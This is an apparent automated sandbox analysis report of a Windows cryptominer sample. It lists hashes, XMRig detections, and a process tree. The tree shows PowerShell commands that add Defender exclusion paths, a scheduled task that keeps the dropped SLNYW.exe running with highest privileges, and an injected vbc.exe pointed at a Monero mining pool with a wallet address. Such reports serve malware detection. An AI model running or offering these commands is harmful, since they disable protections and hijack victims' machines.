Analysis
-
max time kernel
149s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
29-11-2022 07:24
Static task
static1
Behavioral task
behavioral1
Sample
918a866f41a7885284135f4fcd66c080.exe
Resource
win7-20220812-en
General
-
Target
918a866f41a7885284135f4fcd66c080.exe
-
Size
2.1MB
-
MD5
918a866f41a7885284135f4fcd66c080
-
SHA1
8bc703d4ec0a8b66ede518c0df2074e75f7b0204
-
SHA256
b41c29b2db195c563b7f2bfee83f341700b53bfb0827a847a1918496ec9c4e5b
-
SHA512
2c42377873b2cd791b100c89f37b0185ae2ff6dd7e283cf2aedf2cdd7a4fab1a355b71193d0be8cc0cc79b781a9ca1fbdc43c83de33ec70bdf942a6da64b3575
-
SSDEEP
49152:c5M1AHcWUr7Oe6ffETtcdR045tFs8iV6a1k8:asUcWUr7OeWfEadR0SDs83ek
Malware Config
Signatures
-
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral2/memory/3804-194-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3804-195-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/3804-196-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3804-197-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3804-199-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3804-200-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
SLNYW.exepid process 1644 SLNYW.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
SLNYW.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation SLNYW.exe -
Uses the VBS compiler for execution 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
SLNYW.exedescription pid process target process PID 1644 set thread context of 3804 1644 SLNYW.exe vbc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1832 1644 WerFault.exe SLNYW.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 4960 timeout.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
918a866f41a7885284135f4fcd66c080.exepowershell.exepowershell.exeSLNYW.exepowershell.exepowershell.exepid process 4540 918a866f41a7885284135f4fcd66c080.exe 4540 918a866f41a7885284135f4fcd66c080.exe 5092 powershell.exe 4956 powershell.exe 4956 powershell.exe 5092 powershell.exe 1644 SLNYW.exe 1644 SLNYW.exe 2052 powershell.exe 4744 powershell.exe 4744 powershell.exe 2052 powershell.exe 1644 SLNYW.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 656 -
Suspicious use of AdjustPrivilegeToken 8 IoCs
Processes:
918a866f41a7885284135f4fcd66c080.exepowershell.exepowershell.exeSLNYW.exepowershell.exepowershell.exevbc.exedescription pid process Token: SeDebugPrivilege 4540 918a866f41a7885284135f4fcd66c080.exe Token: SeDebugPrivilege 5092 powershell.exe Token: SeDebugPrivilege 4956 powershell.exe Token: SeDebugPrivilege 1644 SLNYW.exe Token: SeDebugPrivilege 2052 powershell.exe Token: SeDebugPrivilege 4744 powershell.exe Token: SeLockMemoryPrivilege 3804 vbc.exe Token: SeLockMemoryPrivilege 3804 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
vbc.exepid process 3804 vbc.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
918a866f41a7885284135f4fcd66c080.execmd.exeSLNYW.execmd.exedescription pid process target process PID 4540 wrote to memory of 5092 4540 918a866f41a7885284135f4fcd66c080.exe powershell.exe PID 4540 wrote to memory of 5092 4540 918a866f41a7885284135f4fcd66c080.exe powershell.exe PID 4540 wrote to memory of 4956 4540 918a866f41a7885284135f4fcd66c080.exe powershell.exe PID 4540 wrote to memory of 4956 4540 918a866f41a7885284135f4fcd66c080.exe powershell.exe PID 4540 wrote to memory of 3480 4540 918a866f41a7885284135f4fcd66c080.exe cmd.exe PID 4540 wrote to memory of 3480 4540 918a866f41a7885284135f4fcd66c080.exe cmd.exe PID 3480 wrote to memory of 4960 3480 cmd.exe timeout.exe PID 3480 wrote to memory of 4960 3480 cmd.exe timeout.exe PID 3480 wrote to memory of 1644 3480 cmd.exe SLNYW.exe PID 3480 wrote to memory of 1644 3480 cmd.exe SLNYW.exe PID 1644 wrote to memory of 2052 1644 SLNYW.exe powershell.exe PID 1644 wrote to memory of 2052 1644 SLNYW.exe powershell.exe PID 1644 wrote to memory of 4744 1644 SLNYW.exe powershell.exe PID 1644 wrote to memory of 4744 1644 SLNYW.exe powershell.exe PID 1644 wrote to memory of 1076 1644 SLNYW.exe cmd.exe PID 1644 wrote to memory of 1076 1644 SLNYW.exe cmd.exe PID 1076 wrote to memory of 2440 1076 cmd.exe schtasks.exe PID 1076 wrote to memory of 2440 1076 cmd.exe schtasks.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe PID 1644 wrote to memory of 3804 1644 SLNYW.exe vbc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\918a866f41a7885284135f4fcd66c080.exe"C:\Users\Admin\AppData\Local\Temp\918a866f41a7885284135f4fcd66c080.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9E87.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
C:\ProgramData\template\SLNYW.exe"C:\ProgramData\template\SLNYW.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1644 -s 37484⤵
- Program crash
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 1644 -ip 16441⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\template\SLNYW.exeFilesize
2.1MB
MD5918a866f41a7885284135f4fcd66c080
SHA18bc703d4ec0a8b66ede518c0df2074e75f7b0204
SHA256b41c29b2db195c563b7f2bfee83f341700b53bfb0827a847a1918496ec9c4e5b
SHA5122c42377873b2cd791b100c89f37b0185ae2ff6dd7e283cf2aedf2cdd7a4fab1a355b71193d0be8cc0cc79b781a9ca1fbdc43c83de33ec70bdf942a6da64b3575
-
C:\ProgramData\template\SLNYW.exeFilesize
2.1MB
MD5918a866f41a7885284135f4fcd66c080
SHA18bc703d4ec0a8b66ede518c0df2074e75f7b0204
SHA256b41c29b2db195c563b7f2bfee83f341700b53bfb0827a847a1918496ec9c4e5b
SHA5122c42377873b2cd791b100c89f37b0185ae2ff6dd7e283cf2aedf2cdd7a4fab1a355b71193d0be8cc0cc79b781a9ca1fbdc43c83de33ec70bdf942a6da64b3575
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5e3b6cc0fbea08a0831f0026a696db8b8
SHA14e32202d4700061cfd80d55e42798131c9f530d4
SHA2563284cae7b82be99d93064390ba071ba4321f3f24dd21515b37b2ca9f31b2e8d5
SHA5126a06856f360b48c8bc8a15ffb8d7a6604ec357bcb1d0fad5d71a2cb876929a7b67eb40ba4493998ab1bbae8cb71212e124276f27d5c138a135041c27a41a0b7a
-
C:\Users\Admin\AppData\Local\Temp\tmp9E87.tmp.batFilesize
142B
MD5d4a58d595247024e288d21c976ed811c
SHA14e372a96cfd5017a374b879a92cf337f2badce2d
SHA2562dca88023b6cd8a46332ea2f3a05d6f543c07a8806664ef8d7cc47e1627236d0
SHA512ae901552bf015c082ccb294e17188072efdf2b1123e1db755e6895365468134fe22681133c4c0f9fb525d8a2f6912f36ad41471a69f5dbe087f73071248c061e
-
memory/1076-177-0x0000000000000000-mapping.dmp
-
memory/1644-188-0x00007FF831DC0000-0x00007FF831E2B000-memory.dmpFilesize
428KB
-
memory/1644-193-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/1644-185-0x00007FF80ED70000-0x00007FF80EDA5000-memory.dmpFilesize
212KB
-
memory/1644-186-0x00007FF80EDB0000-0x00007FF80EEB2000-memory.dmpFilesize
1.0MB
-
memory/1644-178-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/1644-190-0x00007FF82F700000-0x00007FF82F73B000-memory.dmpFilesize
236KB
-
memory/1644-191-0x0000000000340000-0x0000000000668000-memory.dmpFilesize
3.2MB
-
memory/1644-174-0x00007FF816060000-0x00007FF8161AE000-memory.dmpFilesize
1.3MB
-
memory/1644-192-0x0000000001000000-0x0000000001041000-memory.dmpFilesize
260KB
-
memory/1644-203-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/1644-202-0x0000000000340000-0x0000000000668000-memory.dmpFilesize
3.2MB
-
memory/1644-201-0x00007FF815930000-0x00007FF815A9A000-memory.dmpFilesize
1.4MB
-
memory/1644-173-0x0000000000340000-0x0000000000668000-memory.dmpFilesize
3.2MB
-
memory/1644-172-0x00007FF832BA0000-0x00007FF832BCB000-memory.dmpFilesize
172KB
-
memory/1644-170-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/1644-171-0x0000000001000000-0x0000000001041000-memory.dmpFilesize
260KB
-
memory/1644-169-0x0000000000340000-0x0000000000668000-memory.dmpFilesize
3.2MB
-
memory/1644-168-0x00007FF831340000-0x00007FF8314E1000-memory.dmpFilesize
1.6MB
-
memory/1644-167-0x00007FF8161B0000-0x00007FF81626D000-memory.dmpFilesize
756KB
-
memory/1644-160-0x0000000000000000-mapping.dmp
-
memory/1644-166-0x00007FF82E250000-0x00007FF82E262000-memory.dmpFilesize
72KB
-
memory/1644-184-0x00007FF830A70000-0x00007FF830A97000-memory.dmpFilesize
156KB
-
memory/1644-164-0x00007FF816270000-0x00007FF81631A000-memory.dmpFilesize
680KB
-
memory/1644-165-0x00007FF831170000-0x00007FF83120E000-memory.dmpFilesize
632KB
-
memory/2052-175-0x0000000000000000-mapping.dmp
-
memory/2052-180-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/2052-189-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/2440-181-0x0000000000000000-mapping.dmp
-
memory/3480-147-0x0000000000000000-mapping.dmp
-
memory/3804-204-0x0000022914E30000-0x0000022914E70000-memory.dmpFilesize
256KB
-
memory/3804-199-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/3804-200-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/3804-194-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/3804-205-0x0000022914E70000-0x0000022914E90000-memory.dmpFilesize
128KB
-
memory/3804-197-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/3804-198-0x0000022913470000-0x0000022913490000-memory.dmpFilesize
128KB
-
memory/3804-206-0x0000022914E90000-0x0000022914EB0000-memory.dmpFilesize
128KB
-
memory/3804-207-0x0000022914E70000-0x0000022914E90000-memory.dmpFilesize
128KB
-
memory/3804-196-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/3804-195-0x0000000140343234-mapping.dmp
-
memory/3804-208-0x0000022914E90000-0x0000022914EB0000-memory.dmpFilesize
128KB
-
memory/4540-141-0x00007FF832BA0000-0x00007FF832BCB000-memory.dmpFilesize
172KB
-
memory/4540-139-0x0000000000540000-0x0000000000868000-memory.dmpFilesize
3.2MB
-
memory/4540-143-0x00007FF816110000-0x00007FF81625E000-memory.dmpFilesize
1.3MB
-
memory/4540-135-0x00007FF82E250000-0x00007FF82E262000-memory.dmpFilesize
72KB
-
memory/4540-134-0x00007FF831170000-0x00007FF83120E000-memory.dmpFilesize
632KB
-
memory/4540-133-0x00007FF824010000-0x00007FF8240BA000-memory.dmpFilesize
680KB
-
memory/4540-136-0x00007FF816260000-0x00007FF81631D000-memory.dmpFilesize
756KB
-
memory/4540-150-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/4540-142-0x0000000000540000-0x0000000000868000-memory.dmpFilesize
3.2MB
-
memory/4540-148-0x0000000000540000-0x0000000000868000-memory.dmpFilesize
3.2MB
-
memory/4540-137-0x00007FF831340000-0x00007FF8314E1000-memory.dmpFilesize
1.6MB
-
memory/4540-140-0x0000000001080000-0x00000000010C1000-memory.dmpFilesize
260KB
-
memory/4540-144-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/4540-149-0x0000000001080000-0x00000000010C1000-memory.dmpFilesize
260KB
-
memory/4540-138-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/4744-176-0x0000000000000000-mapping.dmp
-
memory/4744-183-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/4744-182-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/4956-153-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/4956-146-0x0000000000000000-mapping.dmp
-
memory/4956-159-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/4960-155-0x0000000000000000-mapping.dmp
-
memory/5092-152-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/5092-151-0x00000146E66C0000-0x00000146E66E2000-memory.dmpFilesize
136KB
-
memory/5092-156-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmpFilesize
10.8MB
-
memory/5092-145-0x0000000000000000-mapping.dmp